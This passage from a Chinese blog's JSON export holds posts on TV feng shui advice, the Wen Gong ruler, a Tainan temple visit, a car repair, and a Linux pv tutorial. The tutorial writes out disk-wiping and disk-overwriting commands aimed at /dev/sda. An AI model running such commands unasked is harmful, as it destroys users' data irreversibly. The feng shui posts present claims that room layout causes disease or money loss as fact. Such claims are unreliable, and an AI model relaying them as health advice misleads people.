一般家庭用的神桌有分為專門祭拜神明的，以及同時有神明與祖先的這兩種樣式，如果選擇不適合的神桌容易影響後代及運勢。\n專祭拜神明的神桌只有放置神明的位置，沒有預留祖先牌位的空間，所以若將祖先牌位放在這種神桌上就會顯得特別的擠，這樣就會影響家運。\n有設計同時可祭拜神明與祖先的神桌，會專門隔出一塊位置來擺放祖先牌位，若要放置祖先牌位的話，建議用這種的神桌。\n神明擺放的方位最好是可以面向屋子的正前方看出去，如果沒辦法的話，面向房子的左邊或右邊也可以，但絕對不可以朝屋子的正後方，如果神桌朝向屋子的正後方擺設，代表家道中落，嚴重影響家運。謝老師建議宜將神桌移至屏風前，以隔板為靠，面朝前陽台，即可改善。\n筊的擺法應該為左正右反，並至於神桌上即可，不用放在敬茶的台子上。\n如果神桌需要移動或做調整，宜先請示神明，看看適不適合，如果神明同意，才可以把神明請下來，找一個比較安靜、乾淨的地方，先用紅紙或紅布鋪好，在將請下來的神明放在紅紙或紅布上面，等待施工完成後，在挑一個好日子與時間進行正式安座。\n神桌的左邊怕臭、右邊怕吵，如果虎邊擺放電視、音響等過於吵雜的物品，會造成逼虎跳牆，使家人易有血光之災。\n財位 在家中的晶洞應該放在大門進門四十五度角的明財位上，聚集財氣，而如果是作生意的店家，則可擺放在門口吸引客源。\n財位後方盡量不要透明或透光，這樣能聚財。\n店面 魚缸的擺放位置宜放在正東方、北方、以及西南方，這樣擺放魚缸可以招財。魚缸如果放在正西方、東北方會導致破財，而若是放在南方（心臟）會導致身體不好。\n店面口的展示架若擋住正門前方，容易影響生意，宜移至左右兩側。\n爐灶 家裡頭擺放瓦斯爐的時候，可以放在屋子的後方（稱為平安爐），或是放在屋子的左方（稱為發財爐），若放在右手邊、不要太靠近前方也還可以，以上三種方向都有人放，唯一面向馬路的那一邊不可以放瓦斯爐。\n爐灶若設在房子的前段屬於大凶，易影響運勢及健康，最好將爐灶移除以化解煞氣。\n財位 二樓的財位堆滿雜物，嚴重影響店面生意及財運。\n臥室 床頭背對窗戶不僅會造成漏財，更會影響頭部及呼吸系統健康，宜將床後的窗戶以木板封裡來，並加裝床頭板避免頭頂與牆面接觸。\n房間 品字門容易造成家人之間常有口角，門切門更會加重煞氣的影響，宜將兩邊的門加上門簾，減緩煞氣，並在互切的位置上各懸掛一串六帝錢化解。\n在懸掛門簾時，長輩的房間使用較長一點的門簾，晚輩的房間則使用短一點的門簾。\n魚缸若擺在房間裡頭，會讓房間濕氣過重，影響身體健康。\n床位同時被橫樑壓到以及被柱刀切到，容易影響睡眠及健康，樑壓頭的問題可以加床頭櫃或是立枕，而柱刀的問題因為柱子實在是太大了，可能的方式是使用裝潢將柱子做成半圓形，或是加裝防撞護條來化解。\n鏡子照到床位以及書桌的範圍，容易讓人心神不寧思緒混亂，宜將鏡子拆掉。\n主臥房 鏡子不能照門、不能照床、不能互相對照，有三面鏡的梳妝台很容易照到門與床，這種梳妝台後來市面上就比較少見了，宜在不使用時加裝布簾做遮擋。\n床頭背門容易影響睡眠品質。\n桌上剛好有一面鏡子對著門口照出去，同時照到主臥室的門以及兒子房門，會使親子之間的口舌爭執更為嚴重。\n往生者的東西未滿一年不宜去做更動，一年之後則需要將東西收拾好，避免有掛礙。\n","permalink":"https://blog.gtwang.org/metaphysics/feng-shui-is-important-20160423/","summary":"\u003cp\u003e這一篇是我看緯來綜合台\u003ca href=\"https://www.youtube.com/watch?v=OSfXGaRq_Ik\"\u003e風水有關係 2016/04/23\u003c/a\u003e 這一集的個人筆記。\u003c/p\u003e\n\u003cp\u003e屋主獨力經營花店，卻因生活壓力大而鬱鬱寡歡，孩子較不常回家，剩下自己一人，家中人丁不聚。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e","title":"風水有關係：謝沅瑾老師，進門見灶、進門見膳、神桌方位 2016/04/23 筆記"},{"content":"這裡介紹陽宅風水上的文公尺使用方式。\n古代的工匠在設計陽宅建築、廚灶與神桌等時，都會使用文公尺來丈量，舉凡所有房屋的長度與寬度、樑的高度、門與窗戶的高度與寬度等等尺寸，都要符合文公尺上面的吉字。\n文公尺在台灣應該是很容易可以買到，市面上賣的文公尺最常看到的款式就是這種類似一般捲尺的文公尺。如果不想花錢買的話，也可以使用文公尺的手機 App 來查詢。\n我買的這款還有附上強力磁鐵，建議大家可以找這種款式的文公尺，這個設計可讓使用上方便很多。\n把文公尺拉出來之後，上面有許多的紅字與黑字。\n一般的文公尺會有四種刻度，分別為台制尺、文公尺（陽事）、丁蘭尺（陰事）與公制尺（公分）。\n文公尺（亦稱門公尺、魯班尺）長一尺四寸四分，以「生老病死苦」五字為基礎，劃分為八格，各有凶吉，依序為：\n財：吉，指錢財、才能。 財德：指在財、德善、功德方面有表現。 寶庫：比喻可得或儲藏珍貴物品。 六合：六合爲天地四方，合和美滿之意。 迎福：迎接福，福爲幸福、利益。 病：凶，指傷災、病患與不利等。 退財：損財、破財之意。 公事：多指因公家的事如貪污受賄及案件官司等。 牢執：牢獄之災。 孤寡：指有孤獨寡居的行爲。 離：凶，指六親離散分開。 長庫：古有監獄之說。 劫財：破耗及耗損財。 官鬼：指有官煞引起之事。 失脫：物品失落、人離散之意。 義：吉。指符合正義及道德規範，或有募捐行善等行爲。 添丁：古時生男孩叫添丁。 益利：增加了財資利祿。 貴子：日後能顯貴的子嗣。 大吉：吉祥吉利。 官：吉，指有官運。 順科：順利通過考試而獲中。 橫財：意外之財。 進益：收益進益。 富貴：有財有勢。 劫：凶，意指遭搶奪、脅迫。 死別：即永別。 退口：指有孝服之事。 離鄉：背井離鄉。 財失：財物損失或丟失。 害：凶，禍患之意。 災至：災殃禍患到。 死絕：死得乾乾淨淨。 病臨：疾病來臨。 口舌：爭執、爭吵。 本：吉，事物的本位或本體。 財至：即財到。 登科：考試被錄取。 進寶：招財進寶。 興旺：興盛旺盛。 文公尺上面的字凡是「吉」的部分都是紅字，「凶」的部分則是黑字，在使用上要避開黑色的字，並且挑選適合的紅字。\n以下是一般常見的取字方式：\n百姓居家：取【大吉】字最好。 生意場合：取【財】字最佳。 宗教廟宇：宜取【義】字。 公家單位、警察機關（包含檢調單位）：宜取【官】字。 神位、祖先牌位寬、高：取【添丁】最佳。 魚缸大小、高低：取【財庫】最佳。 文公尺使用兩大要訣：「財頭、本尾，抓內不抓外」。財本之間的紅字，怎麼用都不會錯，而「抓內不抓外」的意思則是門框尺寸以內側的尺寸為準。\n使用時須留意紅字裡有些字不能亂用，如生意場合不能用【官】字，易惹官非，而軍人、警察則可用。生意人不能用【義】字，太講義氣，生意無利可圖，只適用於道上兄弟或宗教廟宇。\n《永寧通書》門公尺訣：\n門造「財」星最為良，大門招得外財糧。田蠶牛馬時時進，富貴榮華福壽長。 門安「病」字大不祥，厄難延綿臥病床。太歲刑沖來破損，十人八九發瘟症。 若用「離」星作大門，離鄉背井亂人倫。家業錢財多破損，機謀用盡粟無存。 大門「義」字蔭義兄，公門衙舍正相宜。庶人房屋如用此，定招淫婦與道尼。 「官」字作門須留心，若作衙門大吉昌。庶人用此遭官事，爭訟無休淚汪汪。 「劫」字平安有禍殃，遭盜擄掠甚難當。若遇流年來沖剋，又因訟獄在官場。 「害」字安門不可憑，退盡田園苦伶仃。災難疾厄年年有，小人日夜又來臨。 「本」字造門進官田，大發財谷永綿綿。絲蠶牛馬人丁旺，加增吉慶產英賢。 《文公尺字解》曰：\n「財」字臨門好細詳，外門招得外財良，若是中門常自有，積財須用大門當，中房若合安於上，銀帛千箱與萬箱，木匠若能明此理，家中福祿自榮昌。 「病」字臨門招疾病，外門呆鬼入中庭，若在中門逢此字，災須輕可免危聲，更被外門相照對，一年兩度送口靈，於中若要無凶禍，這字絕對不可親。 「離」字臨門事不詳，小心安排在甚方，若在外們並中戶，子南父北自分張，房門必主生離別，夫婦思情兩處忙，朝夕家中常作鬧，時常禍端難對當。 「義」字臨門孝順生，一字中字最為真，若在都門招三婦，高門孝婦敬翁姑，於中合字為大吉，萬事興隆出賢人，保證萬事無災害，只有廚門實可親。 「官」字臨門大吉祥，莫教安在大門場，須防公事親州府，富貴中庭房自昌，應在房門生貴子，其家必定出官郎，人家富貴出富翁，有人用此福滿堂。 「劫」字臨門不用誇，家中日日事如麻，更有害門相照看，凶來諜諜害無差，兒孫行劫身遭舌，作事因循卻害家，四惡四凶星不吉，偷人物件害其身。 「害」字安門用不可，外門多被外人臨，用在內門多災禍，家財必被賊來親，兒孤行門用害字，作事須因破其家，匠人若能明此理，指教宅主永興隆。 「本」字臨門最吉祥，中宮內外一齊強，子孫夫婦皆榮貴，年通月利能得財，此字吉門相照者，家道興隆大吉昌，四時無災用本字，八節有慶振家聲。 《事林廣記》：「魯班即公輸般，楚人也，乃天下之巧士，能作雲梯之械。其尺也，以官尺（商尺）為準，均分為八寸，其文曰財、曰病、曰離、曰義、曰官、曰劫、曰害、曰吉；乃北斗中七星以貪狼、巨門、祿存、文曲、廉貞、武曲、破軍與輔星主之。用尺之法，從財字量起，雖一丈十丈皆不論，但於丈尺之內量取吉寸用之；遇吉星則吉，遇凶星則凶。遠古及今，公私造作，大小方直，皆本乎是。」\n《古代建築學雜論》記述：「魯班尺是魯班依『玄機八卦』之學制定的尺法，長一尺四寸四分，以生、老、病、死、苦五字為基礎，劃分為八格，各有凶吉，依序為『財、病、義、離、官、赲、害、本八字』」。\n《繪圖魯班木經匠家鏡》：「魯班真尺乃依『玄機八卦』學之八卦五行，以乾一白水、離二黑土、震三碧木、兌四綠木、坎五黃土、坤六白金、巽七赤金、艮八白土之機，八卦每卦管一寸二分，合于二十四山，推好字放門則富貴綿遠，凡人造宅開門，須用配合陰陽。」\n參考資料 kknews.cc 壹讀 kknews.cc 魯班尺原則與設計構成關係之研究 ","permalink":"https://blog.gtwang.org/metaphysics/wen-gong-ruler/","summary":"\u003cp\u003e這裡介紹陽宅風水上的文公尺使用方式。\u003c/p\u003e\n\u003cp\u003e古代的工匠在設計陽宅建築、廚灶與神桌等時，都會使用文公尺來丈量，舉凡所有房屋的長度與寬度、樑的高度、門與窗戶的高度與寬度等等尺寸，都要符合文公尺上面的吉字。\u003c/p\u003e","title":"[陽宅風水] 文公尺使用方法教學（魯班尺、丁蘭尺、門公尺）"},{"content":"這禮拜到白河關子嶺的大仙寺逛一逛，本篇是這一次去大仙寺的紀錄。\n白河大仙寺（亦稱火山大仙寺、關仔嶺大仙寺，簡稱大仙寺，俗稱舊巖）位於台南市白河關子嶺，屬於台灣的三級古蹟，鄰近濟宗佛寺，與俗稱新巖的火山碧雲寺合稱為南瀛八大景之關嶺雲巖。\n建築風格不同於台閩一般寺廟，大雄寶殿整體外貌仿日本佛寺，內部主導為北部漳派首席大木匠陳應彬、及泉州惠安溪底派匠師，可說是以中國寺廟建築為體，以日本佛寺外貌為表，另創佛寺新面貌。\n大仙寺門口有停車場，自行開車的遊客可以將車輛停泊於此。\n到了大仙寺，第一個看到的就是這個紅色牌樓。\n停車場旁有大仙寺的介紹。\n為國內佛教九大門派之一，係國家核定之三級古蹟，南台灣第一古剎，建於清康熙年間，主祀釋迦牟尼、觀音菩薩、三寶佛祖、地藏王菩薩、其寺廟具有大陸神州氣象之風格，不同於一般寺廟建築造型，建築群配置承襲中國佛寺建築的傳統，環境清幽雅節，寺內供奉有開山法師舍利供民眾觀賞，禮佛、觀賞兩相宜，在明鄭明代由大陸來台墾居的人民愈來愈多，當時參軍陳永華將軍便邀請參徹禪師來台灣講授佛理。\n禪師從龍岩出遊，路經岩井，在石几上休息，想不到隨身攜帶的佛像竟然抬不動了，他想此地必是個有佛緣的地方，便在此地結茅定居。\n大仙寺位於臺南市白河區仙草里枕頭山西麓，位在關仔嶺群山尾閭，當地人稱此為舊岩，稱距此不遠的碧雲寺為新岩，傳說兩寺地理也是相關聯。大仙寺為「仙人拋網」靈地，碧雲寺為「半璧吊燈火」靈穴，兩處一脈，靈光互映。\n大仙寺是國家核定的三級古蹟。\n在寺廟的左側（龍邊）有一座龍池。\n龍池內有一尊觀世音菩薩。\n這是大仙寺的小山門，建造於民國三十九年，正門為工字平面，兩側門作外八字傾斜四十五度與圍牆連結，山門屬於牆門式，屋面短而屋脊低緩。中間作三川脊，邊門及圍牆頂亦作燕尾脊。高度漸次降低，邊門為圓拱門，圍牆亦作竹節窗，整體造形富有變化。\n小山門外側寫的是「南無阿彌陀佛」，「佛法無相現妙相，門通十方無去來」。\n這是從內部拍攝的小山門，內側寫的是「海天佛地」，「回向無生曰清淨，了脫塵緣證菩提」。\n側門與圍牆。\n這是大仙寺小山門及圍牆修建紀要，因為反光的問題，所以斜斜的拍，這樣文字比較清楚。\n今天我們來這裡逛的時候，一開始感覺沒有很多人，隨後來了一團進香團，突然就熱鬧起來。\n這次來的神明還滿多的。\n這就是進香團的盛況。\n一瞬間大雄寶殿湧進滿滿的香客，主爐的香都插滿了。\n這些是這次來的神明。\n天宮爐也是滿滿的香。\n雖然這個進香團人非常多，不過大家上完香過後，很快又離開了。\n沒過多久神明就要回駕了。\n神明不管是入廟或返駕時，都必須於香爐上通過，恭迎神像過爐有尊敬及吸收旺盛爐火之意。\n進香團離開之後，人又變得很少了。\n這是大仙寺大雄寶殿前的匾額。\n寺廟前的榕樹。\n這是大雄寶殿後方的走道。\n這些應該是以前留下來的柱礎，這應該都算是古蹟。\n這是觀音寶殿。\n這個應該是九品塔吧。\n在更後方還有一座地藏寶殿。\n地藏寶殿中除了供奉地藏王菩薩之外，一般的祿位也是放置在這裡。\n在地藏寶殿旁邊還有準提殿與祖師殿，雖然已經完工，但是尚未落成，所以還沒開放。\n不過光看這個建築就感覺很漂亮。\n建築物上面的木頭雕刻與圖案真的都很漂亮。\n這兩個殿未來將等三寶殿建設完成後一起落成，未來有機會的話再來參觀。\n雖然尚未開放，不過還是可以拍一下這個門口的獅頭門環。\n這個獅頭雕刻真的很漂亮。\n大仙寺這裡還設有餐廳，吃飯時間有提供素食，香客可以來這裡用餐。\n拜拜完要離開前，記得要把金紙拿去金爐化掉。\n這是大仙寺門口的石獅子，這張照片是在我要離開前拍的，大約下午四點半，夕陽照下來還滿好看的。\n這次來大仙寺行程有點趕，所以沒有拍很多照片，剩下的就等下一次有機會來的時候再說了。\n名稱：台南白河關子嶺大仙寺\n地址：台南市白河區仙草里岩前 1 號\n電話：(06) 685-2143\n","permalink":"https://blog.gtwang.org/life/da-sian-temple-guanziling-tainan-20161022/","summary":"\u003cp\u003e這禮拜到白河關子嶺的大仙寺逛一逛，本篇是這一次去大仙寺的紀錄。\u003c/p\u003e\n\u003cp\u003e白河大仙寺（亦稱火山大仙寺、關仔嶺大仙寺，簡稱大仙寺，俗稱舊巖）位於台南市白河關子嶺，屬於台灣的三級古蹟，鄰近濟宗佛寺，與俗稱新巖的火山碧雲寺合稱為南瀛八大景之關嶺雲巖。\u003c/p\u003e","title":"台南白河關子嶺大仙寺，三級古蹟旅遊景點"},{"content":"這一篇是我今天在新營的樺煒汽車修護廠更換汽車啟動馬達的過程紀錄。\n今天原本預定要去白河的大仙寺，早上要出門的時候發現車子突然發不動，因為電瓶才剛換過不久，所以這次懷疑是啟動馬達壞了。\n剛好這次車子拋錨在新營，朋友介紹我可以打電話請樺煒汽車的師傅來檢查一下。\n檢查過電瓶正常之後，懷疑是這顆啟動馬達有問題，師傅讓我轉動鑰匙發動引擎，他在前面敲一敲這顆馬達，車子馬上就發動了，所以問題就在這裡啦。\n由於啟動馬達壞了，車子發動之後就要趕緊開去保養場，否則一熄火可能又會發不動。\n樺煒汽車修護廠距離新營火車站很近，在台一線的另外一側，距離省道只有一百公尺左右，在新營要修車的話過去都很方便。\n店名：新營樺煒汽車修護廠\n地址：台南市新營區東山路 31 號\n電話：(06)635-9928、0987-327143\n樺煒汽車有檢驗場與修護廠，今天我是來修車的。\n在外頭好不容易把車子發動之後，就直接開過來了。\n修車師傅請阿玄喝紅茶。\n接下來就是等更換汽車啟動馬達了。\n這是新的啟動馬達。\n更換啟動馬達的時候，可以選擇整修品或是全新品，整修品一顆兩千多、保固半年，而全新的則是三千出頭、保固一年，價格相差沒有多少，所以我就直接換一顆全新的，避免以後又出問題更麻煩。\n這一個就是這次換下來舊汽車啟動馬達。\n舊的汽車零件都是這樣黑麻麻的。\n把舊的啟動馬達拆下來並換上新的就大功告成了，整個更換的時間很短，一下子就換好了。\n阿玄也很好奇在旁邊看師傅修車，一邊看一邊跟我一起拍照。\n車子修好之後，我們就要準備出發去大仙寺了。\n這家保養場的師傅很不錯，如果車子在新營有問題，都可以打電話請他來協助喔。\n","permalink":"https://blog.gtwang.org/life/car-starter-motor-replacement-20161022/","summary":"\u003cp\u003e這一篇是我今天在新營的樺煒汽車修護廠更換汽車啟動馬達的過程紀錄。\u003c/p\u003e\n\u003cp\u003e今天原本預定要去\u003ca href=\"/life/da-sian-temple-guanziling-tainan-20161022/\"\u003e白河的大仙寺\u003c/a\u003e，早上要出門的時候發現車子突然發不動，因為電瓶才剛換過不久，所以這次懷疑是啟動馬達壞了。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e\n    \u003cdiv style=\"position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;\"\u003e\n      \u003ciframe allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen\" loading=\"eager\" referrerpolicy=\"strict-origin-when-cross-origin\" src=\"https://www.youtube.com/embed/jvAsJ1lY3F0?autoplay=0\u0026amp;controls=1\u0026amp;end=0\u0026amp;loop=0\u0026amp;mute=0\u0026amp;start=0\" style=\"position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;\" title=\"YouTube video\"\u003e\u003c/iframe\u003e\n    \u003c/div\u003e\n    \u003c/p\u003e","title":"更換汽車啟動馬達，新營樺煒汽車修護廠"},{"content":"Linux 的 pv 指令可以讓使用者即時監看通過管線（pipe）的資料量。\n一個 Linux 系統管理者通常都會花許多時間在終端機上管理系統，例如使用各種指令進行安裝或移除系統套件、查看系統負載狀況、複製與搬移等檔案操作，還有其他各式各樣的動作都可以在終端機中達成。\n有一些指令在執行時不會特別輸出一些進度的相關資訊，如果執行的時間比較常時，使用者無從得知指令的執行狀況，常會懷疑指令是否已經當掉了。\n大部分的 Linux 指令都不會提供執行進度的輸出訊息，但是執行進度是使用者常常會想要看的東西，遇到這樣的狀況我們可以使用 pv 指令來產生有用的進度訊息，讓一般的指令加上進度顯示的功能，以下是 pv 指令的使用方式與範例。\n安裝 在 Ubuntu Linux 上若要安裝 pv，可以使用 apt：\nsudo apt-get install pv 若在 Red Hat 系列的 Linux 上安裝 pv，則使用 yum：\nyum install pv FreeBSD 的使用者可以透過 port 安裝：\ncd /usr/ports/sysutils/pv/ make install clean 或是直接安裝編譯好的版本：\npkg_add -r pv 使用 pv 顯示程式執行進度 pv 的角色就跟 cat 類似，一般 cat 可以將資料從檔案或是標準輸入（stdin）讀取進來，然後從標準輸出（stdout）輸出，而 pv 也是一樣，只是它在輸入與輸出中間會自動將進度顯示在終端機上。\n舉例來說，假設我們要將一個檔案內容導向另外一個檔案，可以這樣寫：\ncat file \u0026gt; other_file 如果 file 這個檔案很大的時候（例如一個 iso 影像檔），這種指令會需要等待一段時間，沒有任何輸出，這時候就可以改用 pv，變成這樣：\npv file \u0026gt; other_file 將 cat 的位置替換為 pv 之後，就會顯示資料的處理進度。我拿 Ubuntu Linux 16.04 的 iso 檔作為示範，將其導入 /dev/null：\npv ubuntu-16.04-desktop-amd64.iso \u0026gt; /dev/null 在導向資料的過程中，pv 就會產生這樣的進度輸出：\npv 的基本使用方式就是這樣，實際運用上可以結合 Linux 中其它的指令一起使用，以下是一些常用的範例。\npv 使用範例 使用 gzip 壓縮資料時不會有任何進度指示，我們可以藉由 pv 來顯示進度：\npv file | gzip \u0026gt; file.gz 如果要從其他的行程（process）讀取資料來傳送，也可以用管線（pipe）的方式將 pv 串在中間：\ncat file | pv | gzip \u0026gt; file.gz 不過在這種情況下 pv 就無法判斷整個完整資料的大小，所以無法計算整體進度，只會顯示經過的時間以及資料處理的速度。如果完整的資料大小是已知的，可以使用 -s 指定資料大小，這樣 pv 就會計算整體的進度（以百分比表示）：\ncat file | pv -s 1513308160 | gzip \u0026gt; file.gz pv 若配合 dialog 這個小工具就可以製作出文字介面的進度視窗：\n(pv -n file | gzip \u0026gt; file) 2\u0026gt;\u0026amp;1 | dialog --gauge \u0026#34;Please wait...\u0026#34; 10 70 這裡的 -n 參數是可以讓 pv 直接輸出單純的百分比數字，因為 pv 的訊息預設會輸出至標準錯誤（stderr），所以我們要加上 2\u0026gt;\u0026amp;1 讓標準錯誤導向標準輸出，然後將標準輸出導向 dialog 產生文字的進度視窗。\n如果有許多的處理動作串在一起，可以加上多個 pv 監看不同處理步驟的狀況：\npv -cN raw file | gzip | pv -cN gzip \u0026gt; file.gz 使用 netcat 傳送資料時也不會有任何進度指示，一樣可以藉由 pv 來顯示進度：\npv file | nc 192.168.0.1 3000 cat file | pv | nc 192.168.0.1 3000 cat file | pv -s 12345 | nc 192.168.0.1 3000 (pv -n file | nc 192.168.0.1 3000) 2\u0026gt;\u0026amp;1 | dialog --gauge \u0026#34;Please wait...\u0026#34; 10 70 計算 MD5 與 SHA1 校驗碼：\npv file | md5sum pv file | sha1sum 備份 /dev/sda 磁碟，跳過錯誤：\npv -EE /dev/sda \u0026gt; disk-image.img 將映像檔寫回磁碟：\npv disk-image.img \u0026gt; /dev/sda 抹除磁碟上所有的資料，這個主要用於丟棄硬碟之前，把資料徹底清除，避免資料外洩：\npv \u0026lt; /dev/zero \u0026gt; /dev/sda 參考資料 nixCraft MTE ","permalink":"https://blog.gtwang.org/linux/pv-pipe-viewer-progress-monitor-linux-command/","summary":"\u003cp\u003eLinux 的 \u003ccode\u003epv\u003c/code\u003e 指令可以讓使用者即時監看通過管線（pipe）的資料量。\u003c/p\u003e\n\u003cp\u003e一個 Linux 系統管理者通常都會花許多時間在終端機上管理系統，例如使用各種指令進行安裝或移除系統套件、查看系統負載狀況、複製與搬移等檔案操作，還有其他各式各樣的動作都可以在終端機中達成。\u003c/p\u003e","title":"pv 指令顯示 Linux 程式執行進度，管線 Pipe 資料監看指令"},{"content":"這一篇是我看緯來綜合台風水有關係 2016/04/16 這一集的個人筆記。\n屋主全家人剛搬進來沒多久，身體就陸續出現狀況，過去很少生病的大兒子遭受病毒感染，男主人也因腸胃疾病長期服藥，剛出生的小兒子也出現皮膚上的問題。\n房子的基本資料如下：\n物件：社區公寓（土城） 格局：3 房 1 廳 坪數：30 坪 居住時間：10 個月 風水需求：事業、健康、財運 大門 住家大門拉直線的範圍，不要遇到有其他的門或牆壁剛好切到大門的情況。由於大樓的逃生門內部氣場較強，若與自己家的大門互切的話，房子裡面的氣場容易被逃生門抽出去，容易影響呼吸系統。如果是對到牆上的消防栓的箱子則沒有太大的影響，因為它沒有通風。\n屋主在大門上懸掛八仙彩與凸面鏡，嘗試解決大門與逃生門互切的問題，凸面鏡在擺放時要對準們互切的位置，才能有效阻擋煞氣，而屋主在懸掛凸面鏡時是掛在自己大門上方的正中央，沒有擋到切門的煞氣。\n大門的門檻可以阻擋氣流，減緩氣場容易被逃生門抽出去的狀況，也可以讓門切門的問題緩和一些。\n客廳 客廳的沙發擺設沒有主位存在，也就是說沙發背後沒有任何牆壁或櫃子，感覺背後空空的沒有靠，會影響主人事業發展。若沙發後方又有門的話，在職場上容易受到小人的影響。\n一般來說風水講究明廳暗房，由於這間客廳沒有窗戶，所以採光比較差，這個就比較沒辦法改變。\n因為冰箱裡面會放置很多吃的東西，所以冰箱也是一個流動的財庫，客廳的財位上擺放冰箱，可以提升財運。如果冰箱上方剛好有橫梁壓著，財庫就會受到壓制，解決的方法是在冰箱上方擺放白色的水晶柱，化解大樑壓頂的問題。\n冰箱放置的位置要注意冰箱開門不要對到房間門、廁所門。如果冰箱對到廁所門，容易影響身體健康，解決的方式是將冰箱轉個方向，讓冰箱開門的方向朝向內側廚房。\n廁所門若用半透明的毛玻璃，容易有爛桃花的問題，宜加裝門簾或是用不透明的窗貼將透明處遮蔽起來。\n廚房 如果從大門的地方可以直接看到廚房的瓦斯爐，就是進門見灶，會導致漏財，屋主在廚房的門掛了一片門簾嘗試化解，但是由於這片門簾過於透光，所以無法化解這個問題，應該要使用不透明、不透光的門簾作為阻隔，避免重要財庫外露，\n瓦斯爐上方有樑，造成橫樑壓灶，會對女主人的健康產生影響，這種狀況可以在瓦斯爐的正上方左右兩側，懸掛兩隻麒麟踩八卦與葫蘆，藉以化解樑壓灶的問題，並且收納病氣。葫蘆在懸掛之前，可以到華佗廟或保安宮等醫神廟求一些主爐的香灰，放進葫蘆裡面來增強化煞的功效，祈求的時候要告知神明自己的名字、住在哪裡、遇到什麼問題，祈求神明保佑身體健康。\n後陽台 後陽台跟子女的發展有關，通往後陽台的門，拉直線的範圍裡面不要擺放任何的障礙物。屋主將冷氣壓縮機安裝在後陽台，剛好正對後陽台的門，這樣容易影響小孩健康，宜將冷氣壓縮機移出門的直線範圍內，建議可以將壓縮機移到陽台底端角落的位置，不要擋住門、不要遮到窗戶，就不會形成煞氣。\n主臥室 透明玻璃跟鏡子一樣有反射效果，如果照到門的話容易有口舌爭執，若照到床的話，會造讓人無法安心入眠，情緒容易起伏，潛意識不安定，沒有安全感。\n謝老師建議將遊戲間的門改個方向，可以改善客廳的擺設問題與這裡鏡子照門又照床的問題，雖然這樣又產生了新的門對門問題，不過門對門跟之前的鏡照門、鏡照床相比，算是比較小的問題，只把兩邊的門改成標準門對門，就可以將問題減到最小，然後在其中一扇門上面懸掛門簾，就可以化解剩下的門對門問題。\n一般房間不要擺放兩張床，而如果是小朋友的床在小孩七歲以前比較不會造成影響，但是最好還是將床單換成相同的顏色，看起來比較不會感覺太突兀。\n梁壓床容易影響身體的血液循環，建議將床的位置稍微移動一下，避開橫梁的位置。\n有時候因為房間空間不夠大，所以門難免會切到床，不過門切床的位置也有好幾種，最嚴重的就是切到靠床頭方向的三分之一（頭的位置），門若切在床頭部分容易造成頭部方面的疾病，而如果切在床尾的三分之一（腳的位置），其實是不會造成影響的。\n儲藏室 大門、儲藏室的門還有窗戶形成一直線，產生穿堂風，容易有漏財的狀況，而儲藏室的門上方有一根樑貫穿兩個房間，形成所謂的穿心煞，容易讓人有槌心肝的事情，若儲藏室的門改變位置，就可以避掉穿心樑與穿堂風。\n改變門的位置要大興土木，不見得每個房子都適用，比較簡單快速的做法是在儲藏室的門上加裝門簾，其長度要能蓋過窗戶的下緣，就可以化解穿堂風，而穿心煞的部分就是在門的內外兩側，各懸掛一隻麒麟踩八卦，直接掛在樑的下方，兩隻麒麟面對面，讓梁的煞氣不要直接壓在門上，這樣就可以化解穿心煞的煞氣。\n前陽台 前陽台代表主人的運勢發展，這間房子沒有前陽台的設計。建議未來在裝修房子的時候，可以考慮將後陽台分一半出來作為前陽台，把儲藏式連接陽台的窗戶改為落地窗，讓廚房出去的是後陽台，而儲藏室出去的則是前陽台，並且在前後陽台之間做一個阻隔（避免回風煞），這樣會對事業發展有幫助。\n","permalink":"https://blog.gtwang.org/metaphysics/feng-shui-is-important-20160416/","summary":"\u003cp\u003e這一篇是我看緯來綜合台\u003ca href=\"https://www.youtube.com/watch?v=zg3pqRtpsRA\"\u003e風水有關係 2016/04/16\u003c/a\u003e 這一集的個人筆記。\u003c/p\u003e\n\u003cp\u003e屋主全家人剛搬進來沒多久，身體就陸續出現狀況，過去很少生病的大兒子遭受病毒感染，男主人也因腸胃疾病長期服藥，剛出生的小兒子也出現皮膚上的問題。\u003c/p\u003e","title":"風水有關係：謝沅瑾老師，橫樑壓灶、穿堂風、穿心煞 2016/04/16 筆記"},{"content":"這一篇是我看緯來綜合台風水有關係 2016/04/02 這一集的個人筆記。\n屋主的房子過去因為經濟狀況不佳，房子被法院拍賣，後來有能力之後，又再次將房子買回，目前的屋齡大約三十幾年，房子買回來之後在三年前有重新整修過，但是搬進來之後，事業開始走下坡，兒女也有許多狀況。\n房子的基本資料如下：\n物件：公寓 格局：3 房 1 廳 坪數：30 坪 居住時間：20 年 風水需求：家中漏財、女兒愛花錢 大門 在公寓裡面，自己住家的大門如果開門正對向下的樓梯，代表財水外流，屋主裝修房子的時候，把大門的方向改過，避免了漏財問題。但是新的大門稍微往外偏移了一點點，導致樓上的樓梯剛好壓在門楣上方，代表主人事業易受阻，化解的方式是在門楣上方擺上一個小型的羅盤，藉以調整磁場，化解煞氣。\n樓梯的階梯數若為奇數（單數）則屬陽，若為偶數（雙數）則屬陰，一般除了「六」代表進祿、「八」代表發財之外，其它的偶數都是不適合的，偶數的階梯數容易影響家中運勢，偶數階梯數的化解方式是在樓梯最下面再多加一階，讓整個階梯數變成奇數，當然施工時要注意穩固與防滑。\n客廳 